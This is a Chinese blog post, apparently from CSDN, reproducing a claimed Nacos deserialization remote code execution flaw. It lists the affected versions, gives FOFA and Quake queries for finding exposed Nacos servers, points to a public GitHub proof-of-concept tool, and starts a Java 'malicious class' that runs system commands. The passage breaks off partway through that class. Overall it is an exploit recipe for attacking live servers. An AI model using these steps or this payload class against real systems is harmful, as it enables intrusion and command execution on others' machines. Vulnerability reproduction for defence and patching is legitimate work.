Nacos最新0day漏洞复现

最新推荐文章于 2025-06-28 11:50:48 发布

网安第一深禽

最新推荐文章于 2025-06-28 11:50:48 发布

阅读量4.9k

点赞数 6

CC 4.0 BY-SA版权

分类专栏：漏洞复现文章标签：网络安全 web安全

本文链接：https://blog.csdn.net/qq_55213436/article/details/140452933

一、漏洞原理

漏洞的核心在于 Nacos 的某些接口没有严格的权限控制，攻击者可以通过特制的请求向 Nacos 服务器发送恶意数据，从而执行任意代码。下载nacos代码搭建环境https://github.com/ayoundzw/nacos-poc这次漏洞需要登录到后才才能利用漏洞涉及到 Nacos 在处理反序列化数据时的缺陷，攻击者能够通过特定的 JSON 数据结构，远程执行恶意代码。以利用该漏洞读取敏感文件、执行系统命令。

启动nacos:

D:\nacos\bin>startup.cmd -m standalone

二、版本信息

目前据说版本是2.32-2.40版本

三、资产测绘

fofa： app="NACOS"

quake: app:"NACOS"

四、poc信息

利用工具：

GitHub - ayoundzw/nacos-poc

构造恶意类：

package test.poc;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.io.StringWriter;

public class Example {
    public Example() {
    }

    public static void main(String[] args) {
        String ret = exec("ipconfig");
        System.out.println(ret);
    }

    public static String exec(String cmd) {
        StringBuffer bf = new StringBuffer();

        try {
            String charset = "utf-8";
            String osName = System.getProperty("os.name");
            if (osName != nul